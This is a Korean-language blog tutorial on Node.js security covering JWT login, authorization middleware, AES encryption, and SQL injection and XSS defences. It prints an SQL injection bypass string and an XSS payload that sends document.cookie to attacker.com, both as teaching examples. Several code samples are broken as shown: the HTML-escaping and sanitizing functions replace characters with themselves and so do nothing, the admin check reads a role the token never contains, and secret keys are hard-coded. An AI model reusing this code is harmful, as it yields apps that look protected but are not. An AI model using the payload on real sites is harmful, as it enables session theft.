1. 인증(Authentication)과 인가(Authorization)
보안의 시작은 인증(Authentication) 과 인가(Authorization) 입니다. 이 두 개념은 서로 밀접하게 연관되어 있지만, 역할은 분명히 다릅니다.
1.1 인증 (Authentication): 사용자 신원 확인
인증은 사용자가 누구인지 확인하는 과정입니다. 즉, 사용자가 본인이 맞는지 검증하는 절차입니다. 일반적으로 로그인 프로세스를 통해 이루어지며, 가장 흔한 방법은 사용자 아이디와 비밀번호를 사용하는 것입니다.
1.1.1 JWT를 사용한 인증 구현 예시
const express = require('express');
const bcrypt = require('bcrypt'); // 비밀번호 해싱을 위한 라이브러리
const jwt = require('jsonwebtoken'); // JWT 토큰 생성을 위한 라이브러리
const app = express();
app.use(express.json()); // JSON 요청 본문 파싱을 위한 미들웨어
// 가정: 사용자 정보가 담긴 배열 (실제로는 데이터베이스에서 가져와야 함)
let users = [
{ id: 1, username: 'user1', passwordHash: '$2b$10$...' }, // 해시된 비밀번호 (예: bcrypt로 생성)
{ id: 2, username: 'user2', passwordHash: '$2b$10$...' },
// ... 다른 사용자들
];
// 로그인 라우트
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// 1. 사용자 찾기
const user = users.find(u => u.username === username);
if (!user) {
return res.status(401).send('Invalid credentials'); // 사용자가 없으면 인증 실패
}
// 2. 비밀번호 확인 (bcrypt.compare 사용)
const passwordMatch = await bcrypt.compare(password, user.passwordHash);
if (!passwordMatch) {
return res.status(401).send('Invalid credentials'); // 비밀번호 불일치
}
// 3. JWT 토큰 생성
const token = jwt.sign(
{ id: user.id }, // 토큰에 포함할 사용자 정보 (payload)
'secret_key', // 토큰 서명을 위한 비밀 키 (환경 변수 등을 통해 안전하게 관리해야 함)
{ expiresIn: '1h' } // 토큰 유효 기간 (1시간)
);
res.json({ token }); // 생성된 토큰을 클라이언트에게 반환
});
// 사용자 등록 라우트
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// 사용자 이름 중복 확인
const existingUser = users.find(u => u.username === username);
if (existingUser) {
return res.status(400).send('Username already exists');
}
// 비밀번호 해싱
const saltRounds = 10;
const passwordHash = await bcrypt.hash(password, saltRounds);
// 새로운 사용자 객체 생성 (실제로는 데이터베이스에 저장해야 함)
const newUser = {
id: users.length + 1,
username,
passwordHash,
};
users.push(newUser);
res.status(201).send('User registered successfully');
});
app.listen(3000, () => console.log('Server started on port 3000'));
코드 상세 설명:
/login
라우트:- 사용자가 제출한 사용자 이름과 비밀번호를 기반으로 인증을 처리합니다.
- 먼저, 제공된 사용자 이름으로 사용자 목록(또는 데이터베이스)에서 사용자를 찾습니다. 사용자가 없으면 401 Unauthorized 오류를 반환합니다.
bcrypt.compare
를 사용하여 제출된 비밀번호와 저장된 해시된 비밀번호를 비교합니다. 비밀번호가 일치하지 않으면 401 오류를 반환합니다.- 인증에 성공하면 사용자 ID를 페이로드로 포함하는 JWT 토큰을 생성합니다. 토큰은
secret_key
으로 서명되고 만료 시간은 1시간으로 설정됩니다. - 생성된 토큰을 클라이언트에 다시 보냅니다.
/register
라우트:- 새로운 사용자를 시스템에 등록합니다.
- 먼저, 요청 본문에서 사용자 이름과 비밀번호를 추출합니다.
- 기존 사용자 목록(또는 데이터베이스)에서 사용자 이름이 이미 존재하는지 확인합니다. 사용자 이름이 이미 사용 중인 경우 400 Bad Request 오류를 반환합니다.
bcrypt.hash
를 사용하여 새 사용자의 비밀번호를 해시합니다. 해싱 프로세스에 임의성을 추가하기 위해 salt가 사용됩니다.- 고유 ID, 사용자 이름 및 해시된 비밀번호를 포함하는 새 사용자 객체를 생성합니다.
- 새 사용자 객체를 사용자 목록에 추가합니다(실제 시나리오에서는 데이터베이스에 저장).
- 201 Created 상태 코드로 사용자 등록이 성공했음을 나타냅니다.
1.2 인가 (Authorization): 권한 부여
인증이 완료된 후에는 사용자가 특정 리소스나 기능에 접근할 수 있는 권한이 있는지 확인하는 인가 과정이 필요합니다. 즉, 인증된 사용자가 무엇을 할 수 있는지 결정하는 단계입니다.
1.2.1 미들웨어를 사용한 인가 구현 예시
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
// 가정: 게시물 데이터 (실제로는 데이터베이스에서 가져와야 함)
let posts = [
{ id: 1, userId: 1, content: 'Post 1' },
{ id: 2, userId: 2, content: 'Post 2' },
{ id: 3, userId: 1, content: 'Post 3' },
];
// 인증 미들웨어 (JWT 검증)
const authenticateToken = (req, res, next) => {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1]; // Bearer 토큰 방식 사용
if (!token) {
return res.sendStatus(401); // 토큰이 없으면 인증되지 않음
}
jwt.verify(token, 'secret_key', (err, user) => {
if (err) {
return res.sendStatus(403); // 토큰이 유효하지 않음 (만료되었거나 위변조됨)
}
req.user = user; // 검증된 사용자 정보를 req 객체에 저장
next(); // 다음 미들웨어 또는 라우트 핸들러로 이동
});
};
// 관리자 권한 확인 미들웨어
const adminMiddleware = (req, res, next) => {
authenticateToken(req, res, () => { // 중첩하여 인증 미들웨어를 먼저 실행
if (req.user.role !== 'admin') {
return res.sendStatus(403); // 관리자가 아니면 권한 없음
}
next();
});
};
// 보호된 라우트 (관리자만 접근 가능)
app.get('/admin/data', adminMiddleware, (req, res) => {
res.json({ message: 'This is admin data!' }); // 관리자 전용 데이터 반환
});
// 일반 사용자가 접근 가능한 라우트
app.get('/user/data', authenticateToken, (req, res) => {
res.json({ message: 'This is user data for user ' + req.user.id });
});
// 사용자가 자신의 게시물만 삭제할 수 있도록 하는 라우트
app.delete('/posts/:id', authenticateToken, (req, res) => {
const postId = parseInt(req.params.id);
const postIndex = posts.findIndex(p => p.id === postId);
if (postIndex === -1) {
return res.status(404).send('Post not found');
}
const post = posts[postIndex];
// 게시물 작성자만 삭제 가능하도록 인가 확인
if (post.userId !== req.user.id) {
return res.status(403).send('You can only delete your own posts');
}
// 게시물 삭제 (실제로는 데이터베이스에서 삭제해야 함)
posts.splice(postIndex, 1);
res.send('Post deleted successfully');
});
app.listen(3000);
코드 상세 설명:
authenticateToken
미들웨어:- 요청의
Authorization
헤더에서 JWT 토큰을 추출합니다. - 토큰이 없으면 401 Unauthorized 오류를 반환합니다.
jwt.verify
를 사용하여 토큰을 확인하고 서명을 확인하고 만료를 확인합니다.- 토큰이 유효하지 않으면 403 Forbidden 오류를 반환합니다.
- 토큰이 유효하면 해독된 사용자 정보를
req.user
에 저장하고next()
를 호출하여 요청을 다음 미들웨어 또는 경로 핸들러로 전달합니다.
- 요청의
adminMiddleware
미들웨어:authenticateToken
을 호출하여 사용자를 인증합니다.- 인증된 사용자의 역할이 'admin'인지 확인합니다. 그렇지 않으면 403 Forbidden 오류를 반환합니다.
- 사용자가 관리자이면
next()
를 호출하여 요청을 다음 미들웨어 또는 경로 핸들러로 전달합니다.
- 보호된 경로:
/admin/data
경로는adminMiddleware
를 사용하여 관리자만 리소스에 액세스할 수 있도록 합니다./user/data
경로는authenticateToken
미들웨어를 사용하여 인증된 사용자만 리소스에 액세스할 수 있도록 합니다.
/posts/:id
경로:authenticateToken
을 사용하여 JWT 토큰을 확인하고 요청을 보낸 사용자의 ID를 가져옵니다.- 경로 매개변수에서 게시물 ID를 가져옵니다.
posts
배열에서 해당 ID를 가진 게시물을 찾습니다. 게시물이 없으면 404 Not Found 오류를 반환합니다.- 게시물의 소유권(userId)이 인증된 사용자의 ID와 일치하는지 확인합니다. 일치하지 않으면 403 Forbidden 오류를 반환합니다.
- 게시물의 소유자가 인증된 사용자와 일치하면
posts
배열에서 게시물을 삭제합니다. - 성공 메시지를 반환합니다.
2. 데이터 보호 및 암호화
사용자의 정보를 안전하게 보호하고 시스템을 악의적인 공격으로부터 방어하기 위해서는 데이터 보호와 암호화가 필수적입니다.
2.1 데이터 보호
데이터 보호는 데이터를 안전하게 저장하고 전송하는 것을 의미합니다. 이는 개인 정보나 민감한 정보를 포함한 모든 종류의 데이터를 대상으로 합니다.
2.1.1 입력 검증 (Input Validation)
사용자가 입력한 데이터는 항상 신뢰할 수 없으므로, 서버로 전송되기 전에 반드시 검증해야 합니다. 입력 검증은 SQL 인젝션이나 XSS(Cross-Site Scripting) 와 같은 공격을 방지하는 데 중요한 역할을 합니다.
예시: 이메일 및 사용자 이름 유효성 검사
// 이메일 유효성 검사
function validateEmail(email) {
// 정규 표현식을 사용하여 이메일 형식 검사
const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return regex.test(email);
}
// 사용자 이름 길이 제한 (최소 3자, 최대 20자)
function validateUsername(username) {
return username.length >= 3 && username.length <= 20;
}
// 사용 예
const email = "test@example.com";
if (validateEmail(email)) {
console.log("Valid email");
} else {
console.log("Invalid email");
}
const username = "johnDoe123";
if (validateUsername(username)) {
console.log("Valid username");
} else {
console.log("Invalid username");
}
코드 상세 설명:
validateEmail
함수는 정규 표현식을 사용하여 주어진 이메일 주소가 유효한 형식인지 확인합니다.validateUsername
함수는 사용자 이름이 지정된 길이 제한(최소 3자, 최대 20자)을 충족하는지 확인합니다.
2.1.2 접근 제어 (Access Control)
접근 제어는 특정 데이터나 리소스에 접근할 수 있는 사용자를 제한하는 것을 의미합니다. 이를 통해 권한이 없는 사용자가 민감한 정보에 접근하는 것을 방지할 수 있습니다.
예시: JWT 및 라우트 별 접근 제어를 사용한 API 엔드포인트 보호
// (앞의 인증 예제에서 이어짐)
// 보호된 API 엔드포인트 예제
app.get('/api/mydata', authenticateToken, (req, res) => {
// 인증된 사용자만 접근 가능
res.json({ message: 'This is your protected data!', userId: req.user.id });
});
// 특정 사용자 데이터 조회 API 엔드포인트 (자신의 데이터만 조회 가능)
app.get('/api/users/:userId/data', authenticateToken, (req, res) => {
const requestedUserId = parseInt(req.params.userId);
// 인가: 요청한 사용자와 인증된 사용자가 동일한지 확인
if (req.user.id !== requestedUserId) {
return res.status(403).send('You can only access your own data');
}
// ... 사용자 데이터 조회 로직 (실제로는 데이터베이스에서 가져와야 함)
res.json({ message: 'User data', userId: req.user.id });
});
코드 상세 설명:
app.get('/api/mydata', authenticateToken, ...)
:authenticateToken
미들웨어를 사용하여/api/mydata
경로를 보호하여 인증된 사용자만 액세스할 수 있도록 합니다.app.get('/api/users/:userId/data', authenticateToken, ...)
:/api/users/:userId/data
경로는 특정 사용자에 대한 데이터를 제공합니다.authenticateToken
미들웨어를 사용하여 요청을 보낸 사용자를 인증합니다.- 경로 매개변수에서 사용자 ID를 추출하고 인증된 사용자 ID와 비교하여 사용자가 자신의 데이터에만 액세스할 수 있도록 합니다.
2.2 암호화 (Encryption)
암호화는 데이터를 읽을 수 없는 형태로 변환하여 무단 접근으로부터 보호하는 과정입니다. 데이터를 암호화하면 데이터가 유출되더라도 그 내용을 파악하기 어렵습니다.
2.2.1 대칭키 암호화 (Symmetric-key Encryption)
대칭키 암호화는 동일한 키를 사용하여 데이터를 암호화하고 복호화하는 방식입니다. 이 방식은 빠르고 효율적이지만, 키를 안전하게 공유하는 것이 중요합니다.
예시: AES(Advanced Encryption Standard) 암호화 및 파일 암호화
const crypto = require('crypto'); // Node.js 내장 암호화 모듈
const fs = require('fs'); // Node.js 내장 파일 시스템 모듈
const algorithm = 'aes-256-cbc'; // 사용할 암호화 알고리즘 (AES-256)
const key = crypto.randomBytes(32); // 256비트(32바이트) 암호화 키 생성
const iv = crypto.randomBytes(16); // 128비트(16바이트) 초기화 벡터(IV) 생성
// 암호화 함수
function encrypt(text) {
let cipher = crypto.createCipheriv(algorithm, Buffer.from(key), iv);
let encrypted = cipher.update(text); // 데이터를 암호화
encrypted = Buffer.concat([encrypted, cipher.final()]); // 암호화 완료
return { iv: iv.toString('hex'), encryptedData: encrypted.toString('hex') }; // IV와 암호화된 데이터 반환 (IV는 복호화에 필요)
}
// 복호화 함수
function decrypt(text) {
let iv = Buffer.from(text.iv, 'hex');
let encryptedText = Buffer.from(text.encryptedData, 'hex');
let decipher = crypto.createDecipheriv(algorithm, Buffer.from(key), iv);
let decrypted = decipher.update(encryptedText);
decrypted = Buffer.concat([decrypted, decipher.final()]);
return decrypted.toString();
}
// 사용 예
const dataToEncrypt = "This is a secret message.";
const encryptedData = encrypt(dataToEncrypt);
console.log("Encrypted data:", encryptedData);
const decryptedData = decrypt(encryptedData);
console.log("Decrypted data:", decryptedData);
// 파일 암호화 함수
function encryptFile(filename, key, iv) {
const cipher = crypto.createCipheriv(algorithm, key, iv);
const input = fs.createReadStream(filename);
const output = fs.createWriteStream(filename + '.enc');
input.pipe(cipher).pipe(output);
output.on('finish', () => {
console.log('File encrypted successfully!');
});
}
// 파일 암호화 사용 예
encryptFile('myFile.txt', key, iv);
코드 상세 설명:
encrypt
함수:crypto.createCipheriv
를 사용하여 지정된 알고리즘, 키 및 IV로 암호화 객체를 생성합니다.cipher.update
를 사용하여 데이터를 암호화합니다.cipher.final
을 사용하여 암호화를 완료합니다.- IV와 암호화된 데이터를 16진수 문자열로 변환하여 반환합니다.
decrypt
함수:crypto.createDecipheriv
를 사용하여 지정된 알고리즘, 키 및 IV로 복호화 객체를 생성합니다.decipher.update
를 사용하여 암호화된 데이터를 복호화합니다.decipher.final
을 사용하여 복호화를 완료합니다.- 복호화된 데이터를 문자열로 반환합니다.
encryptFile
함수:- 지정된 알고리즘, 키 및 IV를 사용하여 파일을 암호화합니다.
fs.createReadStream
을 사용하여 입력 파일을 읽기 위한 스트림을 생성합니다.fs.createWriteStream
을 사용하여 암호화된 데이터를 쓸 출력 파일을 생성합니다.input.pipe(cipher).pipe(output)
을 사용하여 입력 파일을 암호화 객체로 파이프한 다음 출력 파일로 파이프합니다.output.on('finish', ...)
을 사용하여 파일 암호화가 완료되면 메시지를 출력합니다.
2.2.2 비대칭키 암호화 (Asymmetric-key Encryption)
비대칭키 암호화는 공개키(public key) 와 개인키(private key) 라는 서로 다른 두 개의 키를 사용하는 방식입니다. 공개키는 데이터를 암호화하는 데 사용되고, 개인키는 데이터를 복호화하는 데 사용됩니다. 이 방식은 주로 데이터 전송 시 보안을 유지하는 데 사용됩니다.
예시: RSA 알고리즘 개요
- RSA는 가장 널리 사용되는 비대칭키 암호화 알고리즘 중 하나입니다.
- 키 생성:
- 매우 큰 두 개의 소수(prime number)를 선택합니다.
- 두 소수를 곱하여
n
을 구합니다. n
과 서로소(relatively prime)인e
를 선택합니다.(d * e) mod ((p-1) * (q-1)) = 1
을 만족하는d
를 구합니다.(n, e)
가 공개키,(n, d)
가 개인키가 됩니다.
- 암호화:
- 데이터를 숫자
m
으로 변환합니다. c = m^e mod n
을 계산하여 암호문c
를 생성합니다.
- 데이터를 숫자
- 복호화:
m = c^d mod n
을 계산하여 원래 데이터m
을 복구합니다.
(구현이 복잡하고 주로 HTTPS와 같은 프로토콜에서 사용되므로 코드 예시는 생략합니다.)
3. 보안 취약점 및 대응 방법
Node.js 애플리케이션은 다양한 보안 취약점에 노출될 수 있습니다. 이 섹션에서는 일반적인 취약점과 그 대응 방법을 알아보겠습니다.
3.1 일반적인 보안 취약점
3.1.1 SQL 인젝션 (SQL Injection)
SQL 인젝션은 공격자가 악의적인 SQL 코드를 삽입하여 데이터베이스를 조작하는 공격입니다.
예시: 취약한 코드와 안전하지 않은 로그인
// 취약한 코드 (직접 쿼리 생성)
const username = req.body.username;
const query = `SELECT * FROM users WHERE username = '${username}'`;
// ... 쿼리 실행 ...
// 잘못된 로그인 로직을 통한 취약점 발생 예시
app.post('/login', (req, res) => {
const { username, password } = req.body;
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// ... 쿼리 실행을 통해 결과를 확인하는 로직 ...
// 위와 같은 쿼리는 사용자가 password 필드에 SQL Injection 구문을 삽입하여 참이 되도록 만들 수 있음.
});
코드 상세 설명:
- 위 코드는 사용자로부터 입력받은
username
과password
를 직접 SQL 쿼리에 삽입합니다. - 공격자가
password
필드에'' OR '1'='1'
과 같은 값을 입력하면, 생성되는 쿼리는SELECT * FROM users WHERE username = '<username>' AND password = '' OR '1'='1'
이 됩니다. '1'='1'
은 항상 참이므로, 이 쿼리는 인증을 우회하고 모든 사용자 정보를 반환할 수 있습니다.
3.1.2 크로스 사이트 스크립팅 (XSS)
XSS는 공격자가 악성 스크립트를 웹사이트에 삽입하여 다른 사용자의 브라우저에서 실행되도록 하는 공격입니다.
예시: 취약한 댓글 렌더링 및 게시판 XSS 공격
<!-- 취약한 댓글 렌더링 -->
<div>{{ comment }}</div>
<!-- 예시: 게시판에서 XSS 공격이 가능한 경우 -->
<script>
// 사용자가 게시글 본문에 아래와 같은 스크립트를 삽입할 수 있음:
// <script>alert('XSS Attack!');</script>
// <script>document.location='http://attacker.com/cookie.php?cookie='+document.cookie;</script>
// 위 스크립트는 사용자의 쿠키 정보를 공격자의 서버로 전송할 수 있음
</script>
코드 상세 설명:
<div>{{ comment }}</div>
코드는 서버에서 댓글 내용을 렌더링합니다. 공격자가 댓글에<script>alert('XSS Attack!');</script>
와 같은 스크립트를 포함시키면, 다른 사용자가 이 댓글을 볼 때 해당 스크립트가 실행됩니다.- 두 번째 예시에서 사용자는 게시글 본문에
<script>
태그를 포함한 악성 스크립트를 삽입할 수 있습니다. 이 스크립트는 다른 사용자가 게시글을 조회할 때 실행되어, 사용자의 쿠키 정보를 공격자의 서버로 전송하거나 다른 악의적인 동작을 수행할 수 있습니다.
3.1.3 인증 우회 (Broken Authentication)
인증 우회는 공격자가 인증 절차를 우회하거나 무력화하여 다른 사용자의 권한을 획득하는 공격입니다.
예시: 비밀번호 재설정 링크를 통해 인증되지 않은 사용자가 다른 계정의 비밀번호를 변경할 수 있는 경우
3.2 대응 방법
3.2.1 입력 검증 및 필터링
모든 사용자 입력은 신뢰할 수 없으므로 철저히 검증하고 필터링해야 합니다.
예시: 입력 검증 및 HTML 태그 필터링
const express = require('express');
const app = express();
app.use(express.json());
app.post('/submit', (req, res) => {
const userInput = req.body.input;
// 예시: 간단한 정규 표현식을 통한 입력 검증 (알파벳, 숫자만 허용)
if (!/^[a-zA-Z0-9]*$/.test(userInput)) {
return res.status(400).send('Invalid input');
}
// ... 정상 처리 로직 ...
});
// 예시: HTML 태그를 허용하지 않는 입력 검증
function sanitizeInput(input) {
return input.replace(/</g, '<').replace(/>/g, '>');
}
app.post('/comment', (req, res) => {
const comment = sanitizeInput(req.body.comment);
// ... 안전하게 처리 ...
});
코드 상세 설명:
app.post('/submit', ...)
경로 핸들러는input
필드에 알파벳과 숫자만 허용하는지 확인합니다.sanitizeInput
함수는 사용자 입력에서<
와>
문자를 각각<
와>
로 치환하여 HTML 태그가 삽입되는 것을 방지합니다.
3.2.2 ORM(Object-Relational Mapping) 사용
SQL 인젝션 공격을 방지하기 위해 ORM 라이브러리를 사용하는 것이 좋습니다. ORM은 데이터베이스 쿼리를 객체 지향적으로 작성할 수 있도록 해주는 도구입니다. Mongoose(MongoDB용)나 Sequelize(SQL 데이터베이스용)와 같은 ORM 라이브러리는 자동으로 파라미터화된 쿼리(parameterized query)를 생성하여 SQL 인젝션을 방지합니다.
예시: Sequelize 및 Mongoose를 사용한 안전한 쿼리
// Sequelize 예제 (SQL 인젝션 방지)
const { Sequelize, DataTypes } = require('sequelize');
const sequelize = new Sequelize('database', 'user', 'password', {
dialect: 'mysql' // 사용하는 데이터베이스 종류
});
const User = sequelize.define('User', {
username: DataTypes.STRING
});
app.get('/users/:username', async (req, res) => {
const username = req.params.username;
// Sequelize를 사용한 안전한 쿼리
const user = await User.findOne({ where: { username: username } });
if (user) {
res.json(user);
} else {
res.status(404).send('User not found');
}
});
// Mongoose 예제 (NoSQL 인젝션 방지)
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/mydatabase');
const ProductSchema = new mongoose.Schema({
name: String,
price: Number,
});
const Product = mongoose.model('Product', ProductSchema);
app.get('/products/:name', async (req, res) => {
const productName = req.params.name;
// Mongoose를 사용한 안전한 쿼리 (NoSQL 인젝션 방지)
const product = await Product.findOne({ name: productName });
if (product) {
res.json(product);
} else {
res.status(404).send('Product not found');
}
});
코드 상세 설명:
- Sequelize 예제:
- Sequelize ORM을 사용하여
/users/:username
경로에 대한 GET 요청을 처리합니다. User.findOne({ where: { username: username } })
는username
매개변수와 일치하는 사용자를 찾습니다.- Sequelize는 자동으로 파라미터화된 쿼리를 생성하여 SQL 인젝션을 방지합니다.
- Sequelize ORM을 사용하여
- Mongoose 예제:
- Mongoose ORM을 사용하여
/products/:name
경로에 대한 GET 요청을 처리합니다. Product.findOne({ name: productName })
는name
필드가productName
과 일치하는 제품을 찾습니다.- Mongoose는 MongoDB 쿼리를 안전하게 생성하여 NoSQL 인젝션을 방지합니다.
- Mongoose ORM을 사용하여
3.2.3 XSS 방지
XSS 공격을 방지하기 위해 사용자 입력을 렌더링 할 때는 항상 HTML 이스케이프 처리를 해야 합니다. HTML 이스케이프 처리는 <
, >
, &
, "
, '
와 같은 특수 문자를 HTML 엔티티로 변환하는 과정입니다.
예시: 수동 이스케이프 처리 및 템플릿 엔진 사용
// 수동 이스케이프 처리
const escapeHtml = (unsafe) => {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
};
app.get('/comments', (req, res) => {
const comment = escapeHtml(req.query.comment); // 사용자 입력을 이스케이프 처리
// ... 안전하게 렌더링 ...
res.send(`<div>${comment}</div>`);
});
// 템플릿 엔진 사용 (Handlebars)
// app.engine('handlebars', exphbs());
// app.set('view engine', 'handlebars');
// app.get('/post/:id', (req, res) => {
// const post = getPostById(req.params.id); // 게시글 데이터 가져오기
// res.render('post', { post }); // 템플릿 엔진에서 자동으로 이스케이프 처리
// });
// <!-- post.handlebars 템플릿 -->
// <div>
// <h1>{{post.title}}</h1>
// <div>{{{post.content}}}</div> <!-- {{{ }}}를 사용하면 이스케이프 처리 안함 -->
// </div>
코드 상세 설명:
escapeHtml
함수는 사용자 입력 문자열에서 HTML 특수 문자를 찾아 해당하는 HTML 엔티티로 변환합니다.- Handlebars와 같은 템플릿 엔진을 사용하면 템플릿 내에서
{{ }}
로 감싼 변수는 자동으로 이스케이프 처리됩니다. {{{ }}}
를 사용하면 이스케이프 처리를 하지 않고 변수의 내용을 그대로 출력할 수 있습니다. (주의해서 사용해야 함)
3.2.4 JWT(JSON Web Tokens) 활용
세션 관리 대신 JWT를 사용하면 클라이언트 측에서 상태 정보를 저장하고 인증 과정을 단순화할 수 있습니다. JWT는 서명되어 있어 변조가 어렵기 때문에 인증 우회 공격을 방지하는 데 도움이 됩니다.
예시: JWT 발급, 검증 및 갱신
const jwt = require('jsonwebtoken');
// 로그인 시 토큰 발급
app.post('/login', (req, res) => {
const userId = req.body.userId;
const token = jwt.sign({ id: userId }, 'secretKey', { expiresIn: '1h' });
res.json({ token });
});
// 보호된 라우트 예제
app.get('/protected', verifyToken, (req, res) => {
jwt.verify(req.token, 'secretKey', (err, authData) => {
if (err) {
return res.sendStatus(403);
}
res.json({
message: 'Protected data',
authData
});
});
});
// 토큰 검증 미들웨어
function verifyToken(req, res, next) {
const bearerHeader = req.headers['authorization'];
if (typeof bearerHeader !== 'undefined') {
const bearer = bearerHeader.split(' ');
const bearerToken = bearer[1];
req.token = bearerToken;
next();
} else {
res.sendStatus(403);
}
}
// JWT 토큰 만료 시간 연장 (refresh token)
app.post('/refresh', (req, res) => {
const refreshToken = req.body.refreshToken;
// refreshToken 검증 (실제로는 데이터베이스에 저장된 refreshToken과 비교해야 함)
jwt.verify(refreshToken, 'refreshSecretKey', (err, user) => {
if (err) {
return res.sendStatus(403);
}
// 새로운 accessToken 발급
const accessToken = jwt.sign({ id: user.id }, 'secretKey', { expiresIn: '15m' });
res.json({ accessToken });
});
});
코드 상세 설명(JWT Refresh Token):
/refresh
경로: 만료된 액세스 토큰을 갱신하기 위한 예제입니다.- 클라이언트는
refreshToken
을 요청 본문에 담아 서버로 보냅니다. - 서버는
jwt.verify
를 사용하여refreshToken
을refreshSecretKey
로 검증합니다.- 실제 구현에서는
refreshToken
을 데이터베이스에 저장하고, 요청으로 받은refreshToken
과 데이터베이스에 저장된 값을 비교해야 합니다.
- 실제 구현에서는
refreshToken
이 유효하면,jwt.sign
을 사용하여 새로운accessToken
을 생성합니다.- 새로 생성된
accessToken
을 JSON 응답으로 클라이언트에게 반환합니다.
4. 결론
Node.js 애플리케이션의 보안을 강화하기 위해서는 인증, 인가, 데이터 보호, 취약점 대응 등 다양한 측면을 종합적으로 고려해야 합니다.
- 인증(Authentication) 과 인가(Authorization) 를 통해 사용자를 식별하고 권한을 제어하여 시스템 접근을 통제합니다.
- 데이터 보호를 위해 입력 검증, 접근 제어, 암호화 등의 기법을 사용하여 데이터를 안전하게 보호합니다.
- 보안 취약점을 인지하고, ORM 사용, XSS 방지, 안전한 인증 방식(JWT 등)을 통해 취약점을 예방하고 대응해야 합니다.
이 외에도 정기적인 코드 리뷰, 보안 테스트, 최신 보안 패치 적용 등을 통해 지속적으로 보안을 점검하고 개선하는 것이 중요합니다. 이러한 노력을 통해 보다 안전하고 신뢰할 수 있는 Node.js 애플리케이션을 개발할 수 있습니다.
'프로그래밍 > Node.js' 카테고리의 다른 글
Node.js 심화 가이드: 서버 성능 최적화와 효율적인 데이터 관리를 위한 전략 (0) | 2025.02.20 |
---|---|
Node.js 애플리케이션 배포 및 운영: 최적의 전략과 실전 가이드 (0) | 2025.02.20 |
Node.js 애플리케이션의 테스트와 디버깅 정복하기: 실전 가이드 (1) | 2025.02.20 |
Express.js: 웹 애플리케이션 개발을 위한 강력한 도구 (0) | 2025.02.20 |
Node.js와 다양한 데이터베이스 연동 가이드: MongoDB, MySQL, PostgreSQL (0) | 2025.02.19 |